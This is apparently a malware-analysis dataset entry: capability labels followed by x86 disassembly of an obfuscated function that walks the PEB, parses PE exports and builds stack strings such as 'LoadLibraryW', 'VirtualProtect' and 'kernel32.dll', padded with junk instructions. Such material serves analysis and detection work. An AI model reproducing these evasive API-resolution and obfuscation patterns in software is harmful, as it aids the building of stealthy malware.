Function at 0x40be39
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
push eax
add esp, 4
call 0x40b32a
add byte [ecx], bh
cmp cl, byte [edx + 0x4b]
cmp eax, 0x834d4d3a
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [0x50344c37], bh
dec esp
cmp byte [ebx], bh
xor eax, 0x4c4833b
and eax, 0x10c1e
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x40b35f
mov dword [ebp - 0x6ec], 0
jmp 0x40b61b
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
push ebx
add esp, 4
and ebx, 0x134e
jmp 0x40b383
pop ebx
push eax
or eax, 0x16c1c
jmp 0x40b394
pop eax
push edi
push ecx
add esp, 4
jmp 0x40b3a2
pop edi
cmp dword [ebp - 0xc2c], 0
jne 0x40b3bb
mov dword [ebp - 0x6ec], 0
jmp 0x40b61b
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
jmp 0x40b3ce
jmp 0x40b3d4
or edx, 0xc697
pop edx
push eax
push edx
add esp, 4
xor eax, 0x6d6
or eax, 0x15c5c
xor eax, 0xf981
and eax, 0xf029
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edx
push edi
add esp, 4
sub edx, 0x17030
and edx, 0x9df9
xor edx, 0x58e
pop edx
push edx
and edx, 0x3023
xor edx, 0xdfab
and edx, 0xdcf5
xor edx, 0x1344f
pop edx
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push esi
push edx
add esp, 4
sub esi, 0x17b07
pop esi
push edi
push edi
add esp, 4
sub edi, 0x10852
jmp 0x40b4ce
pop edi
push edx
push esi
add esp, 4
call 0x40b4e0
add byte [edx + edi], bh
inc eax
cmp byte [ebx + eax*4], dh
les eax, [edx + ebx*2]
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x40b507
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x40b56a
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x40b426
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x40b426
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x40b554
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x40b55e
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x40b5b3
push ecx
push edx
add esp, 4
and ecx, 0x468e
add ecx, 0x5860
sub ecx, 0x77fc
sub ecx, 0x27fa
pop ecx
push esi
or esi, 0xfeff
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x150d0
pop ebx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x40b61b
push edx
sub edx, 0xc10
and edx, 0x13dd7
pop edx
push esi
push esi
add esp, 4
call 0x40b5d3
add byte [edi + 0x43], cl
dec ebx
inc ecx
aas
cmp edi, dword [edi]
add esp, 4
or esi, 0x155ac
pop esi
push edi
sub edi, 0x15603
pop edi
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x40b611
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x40b3c7
mov dword [ebp - 0x6ec], 0
push edx
sub edx, 0x1464a
and edx, 0x614d
pop edx
push edx
xor edx, 0x9459
add edx, 0xa90
xor edx, 0x11a6d
pop edx
push ecx
and ecx, 0x7607
pop ecx
push edi
xor edi, 0x70bc
pop edi
cmp dword [ebp - 0x6ec], 0
jne 0x40b697
push edx
push edi
add esp, 4
xor edx, 0xfaa3
xor edx, 0x68b7
pop edx
push edx
jmp 0x40b672
jmp 0x40b67b
pop edx
push ebx
push ebx
add esp, 4
or ebx, 0x79b4
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x40c1be
push ecx
push edx
add esp, 4
sub ecx, 0x3ffd
add ecx, 0x15cc7
xor ecx, 0x1403
and ecx, 0x9a87
pop ecx
push ebx
and ebx, 0x11fbf
add ebx, 0x8e47
add ebx, 0xd5ae
pop ebx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x40b708
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x40b9f9
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x40b730
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x40b9f9
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x40b762
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x40b9f9
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x40b787
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x40b9f9
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x40b7e1
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x40b9ed
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x40b851
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x40b903
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x40b903
push eax
or eax, 0x7cb3
pop eax
push ecx
push eax
add esp, 4
sub ecx, 0x12a42
xor ecx, 0x84bb
pop ecx
push eax
push ebx
add esp, 4
add eax, 0x6ef5
sub eax, 0x166ce
sub eax, 0xe46c
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x40b8f5
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x40b8fc
jmp 0x40b842
jmp 0x40b903
push edi
push edx
add esp, 4
xor edi, 0x17c32
pop edi
push edx
call 0x40b91d
add byte [edx], dh
dec ebp
xor eax, 0x4e3c354d
add esp, 4
jmp 0x40b928
add edx, 0x183a1
or edx, 0x3ffd
pop edx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x40b962
mov dword [ebp - 0xc30], 0
jmp 0x40b9d1
push esi
add esi, 0xc5f8
and esi, 0x6896
add esi, 0x3d6b
pop esi
push ecx
xor ecx, 0x1334d
call 0x40b98a
add byte [edx], bh
inc ebx
dec edi
xor al, 0x33
cmp eax, dword [ebx - 0x3e7efb3c]
stosd dword es:[edi], eax
js 0x40b993
add byte [ecx - 0x75], bl
test dword [eax], ecx
stc
invalid
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x40b9c7
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x40b9d1
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x40b9e8
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x40b9f9
jmp 0x40b7d2
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x40bad4
push ecx
add ecx, 0x166fc
or ecx, 0x178ee
call 0x40ba20
add byte [eax], bh
xor cl, byte [ebp + 0x3c]
xor eax, dword ds:[ebx + 0x515904c4]
push edx
add esp, 4
or ecx, 0x75d0
pop ecx
push esi
or esi, 0x725a
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push edx
call 0x40ba54
add byte [esi + 0x38], al
inc ebp
cmp cl, byte [ebx + 0x37]
cmp edi, dword [eax]
inc eax
add esp, 4
and edx, 0x15008
xor edx, 0xe1a1
pop edx
push esi
push edi
add esp, 4
sub esi, 0x739b
and esi, 0x12875
pop esi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x40bad4
push edi
or edi, 0x81e3
xor edi, 0x2c6d
xor edi, 0xab6c
pop edi
push esi
add esi, 0x103c2
pop esi
push esi
push esi
add esp, 4
jmp 0x40babc
pop esi
push ecx
and ecx, 0xc1a0
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x40c1be
push edx
push ebx
add esp, 4
xor edx, 0x5e82
add edx, 0xdcb4
add edx, 0x53b
jmp 0x40baf0
pop edx
push edx
call 0x40bb02
add byte [eax + 0x44], al
inc esp
inc ecx
dec ebx
inc eax
cmp byte [edx + 0x38], al
inc edi
add esp, 4
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
or edi, 0x967f
pop edi
push edi
push edi
add esp, 4
add edi, 0xa6c8
pop edi
push edi
push ebx
add esp, 4
call 0x40bb55
add byte [esi], bh
cmp dword [eax], edi
dec esp
inc ecx
dec esi
cmp edi, dword [0x4c48333]
or edi, 0x9bb3
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x40bb77
mov dword [ebp - 0x2e0], 0
jmp 0x40be1e
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
xor ebx, 0x3b5c
sub ebx, 0x1817b
sub ebx, 0x1273
pop ebx
push esi
push eax
add esp, 4
jmp 0x40bba8
or esi, 0xe700
pop esi
push eax
push eax
add esp, 4
jmp 0x40bbba
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x40bbd3
mov dword [ebp - 0x2e0], 0
jmp 0x40be1e
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push edx
and edx, 0xb956
or edx, 0x6edf
and edx, 0xf651
pop edx
push edx
push ecx
add esp, 4
add edx, 0x17b1b
add edx, 0xbb2
pop edx
push eax
push edi
add esp, 4
or eax, 0x652a
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
or ebx, 0x53c5
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0x1135c
sub edx, 0x5767
xor edx, 0x514d
pop edx
push edx
push ebx
add esp, 4
sub edx, 0x9082
sub edx, 0x14d9b
pop edx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push ecx
add ecx, 0x16d38
xor ecx, 0xc326
pop ecx
push eax
sub eax, 0x140dd
pop eax
push edi
or edi, 0x764a
jmp 0x40bce9
xor edi, 0x4555
xor edi, 0xde0a
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x40bd13
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x40bd6d
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x40bc3b
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x40bc3b
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x40bd57
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x40bd61
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x40bdb6
push ebx
call 0x40bd85
add byte [0x40423234], bh
inc ecx
cmp dword [ecx - 0x7d], ecx
les eax, [ecx + eax*4]
sbb eax, dword [ebp + 0x525b0001]
push edi
add esp, 4
or edx, 0x9490
or edx, 0xd929
jmp 0x40bda7
pop edx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x40be1e
push esi
add esi, 0x152b1
and esi, 0x59ed
or esi, 0x2a95
add esi, 0x759b
pop esi
push edi
push ebx
add esp, 4
xor edi, 0xe7fb
and edi, 0x126b3
or edi, 0x64e5
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x40be14
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x40bbdf
mov dword [ebp - 0x2e0], 0
push ecx
push esi
add esp, 4
or ecx, 0x17699
pop ecx
push edx
call 0x40be39
add byte [0x404a3d4a], bh
dec edi
dec ebx
add esp, 4
call 0x40be4c
add byte [ebp + 0x36], al
inc ebp
cmp dword [ecx], edi
dec eax
cmp al, 0x46
dec edx
inc ebx
add esp, 4
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
push edx
add esp, 4
add edx, 0x505a
and edx, 0x7627
call 0x40be7d
add byte [edx], dh
xor eax, 0x3d3c324e
dec esp
add esp, 4
call 0x40be8d
add byte [edx + 0x46], al
dec edx
inc esi
cmp dword [edx], esi
add esp, 4
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x40bec1
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x40c1b2
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x40bee9
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x40c1b2
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x40bf1b
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x40c1b2
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x40bf40
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x40c1b2
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x40bf9a
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x40c1a6
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x40c00a
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x40c0bc
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x40c0bc
push edx
push edx
add esp, 4
sub edx, 0xbd4a
pop edx
push ebx
push edi
add esp, 4
add ebx, 0x13df8
pop ebx
push edi
xor edi, 0xff68
pop edi
push edi
push edi
add esp, 4
sub edi, 0xdd5d
sub edi, 0x2b0a
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x40c0ae
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x40c0b5
jmp 0x40bffb
jmp 0x40c0bc
push ecx
push edi
add esp, 4
add ecx, 0x10560
or ecx, 0x38ab
add ecx, 0x15f44
and ecx, 0x9f72
pop ecx
push ecx
and ecx, 0x5ca6
or ecx, 0x508e
sub ecx, 0xbd2d
pop ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x40c11b
mov dword [ebp - 0xc40], 0
jmp 0x40c18a
push edi
push ebx
add esp, 4
call 0x40c130
add byte [edi + 0x3f], cl
inc ebx
dec ebp
inc edi
cmp cl, byte [edx + 0x48]
add esp, 4
pop edi
push edx
jmp 0x40c13e
or edx, 0xcefa
pop edx
push ebx
or ebx, 0x5d0e
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x40c180
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x40c18a
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x40c1a1
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x40c1b2
jmp 0x40bf8b
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edx
and edx, 0x12483
sub edx, 0x15124
pop edx
push ebx
push ebx
add esp, 4
sub ebx, 0x11202
and ebx, 0x5005
pop ebx
push ecx
push esi
add esp, 4
and ecx, 0x7512
add ecx, 0x14bef
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edx
push ebx
add esp, 4
xor edx, 0xc9c3
sub edx, 0x16f25
sub edx, 0xcf82
pop edx
push eax
sub eax, 0x112b8
or eax, 0xebc
pop eax
push eax
push ebx
add esp, 4
and eax, 0xb972
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x40c243
cmp dword [ebp - 0xa5c], 0
jne 0x40c289
push edi
push ecx
add esp, 4
jmp 0x40c24d
sub edi, 0x15539
call 0x40c263
add byte [edi + 0x35], cl
dec edi
inc ebp
dec esp
inc ebp
xor dl, byte [eax + 0x34]
dec ebp
add esp, 4
pop edi
push edi
add edi, 0xfce2
add edi, 0x649
pop edi
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push esi
push esi
add esp, 4
jmp 0x40c29e
or esi, 0x33fc
pop esi
push ebx
push eax
add esp, 4
add ebx, 0x7dd4
pop ebx
push ebx
add ebx, 0x135c
sub ebx, 0x8e
add ebx, 0x98f
pop ebx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push ebx
add esp, 4
xor eax, 0xb8ca
pop eax
push edx
push esi
add esp, 4
and edx, 0x1092
and edx, 0x1823f
add edx, 0x1541d
add edx, 0x106eb
pop edx
push edx
add edx, 0xbb49
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
push ecx
add esp, 4
jmp 0x40c398
add esi, 0xb872
pop esi
push edx
push eax
add esp, 4
add edx, 0x14c74
sub edx, 0xc13d
xor edx, 0x14988
xor edx, 0x10f7
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edx
push edi
add esp, 4
jmp 0x40c3f1
or edx, 0xc3a
pop edx
push edx
push edx
add esp, 4
sub edx, 0xb75a
or edx, 0x15b10
pop edx
push esi
push esi
add esp, 4
xor esi, 0x4d32
pop esi
cmp dword [ebp - 0x150c], 0
jne 0x40c42e
mov dword [ebp - 0x2a8], 0
jmp 0x40c6d5
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
push eax
add esp, 4
add eax, 0x17577
sub eax, 0x11945
and eax, 0x8e70
sub eax, 0x619e
pop eax
push edx
add edx, 0xa8dd
or edx, 0x12d56
or edx, 0x17b1c
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x40c48a
mov dword [ebp - 0x2a8], 0
jmp 0x40c6d5
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
jmp 0x40c49e
jmp 0x40c4a7
sub ecx, 0x14865
xor ecx, 0x1964
pop ecx
push esi
add esi, 0xc073
add esi, 0x78e
add esi, 0x6912
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ebx
push edi
add esp, 4
xor ebx, 0x4fe9
add ebx, 0x11f66
and ebx, 0x57ad
pop ebx
push eax
xor eax, 0x945c
sub eax, 0xdaf6
xor eax, 0x9061
xor eax, 0x1a12
pop eax
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edi
add edi, 0x12181
add edi, 0x12931
pop edi
push esi
or esi, 0x9310
or esi, 0x62bb
call 0x40c5a3
add byte [ebx], bh
inc esp
inc esi
dec edi
inc ecx
cmp dword [esi - 0x7d], ecx
les eax, [ecx + eax*4]
out dx, al
invalid
push edi
add edi, 0xff6b
jmp 0x40c6e3
or edi, 0x119a2
pop edi
push edx
xor edx, 0x9587
add edx, 0x3220
and edx, 0x1731f
jmp 0x40c706
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x40d00c
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edi
push ecx
add esp, 4
xor edi, 0x143a1
add edi, 0x6f75
add edi, 0x111b4
xor edi, 0x106f4
pop edi
push esi
and esi, 0xad39
sub esi, 0xf4e2
sub esi, 0xc63d
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
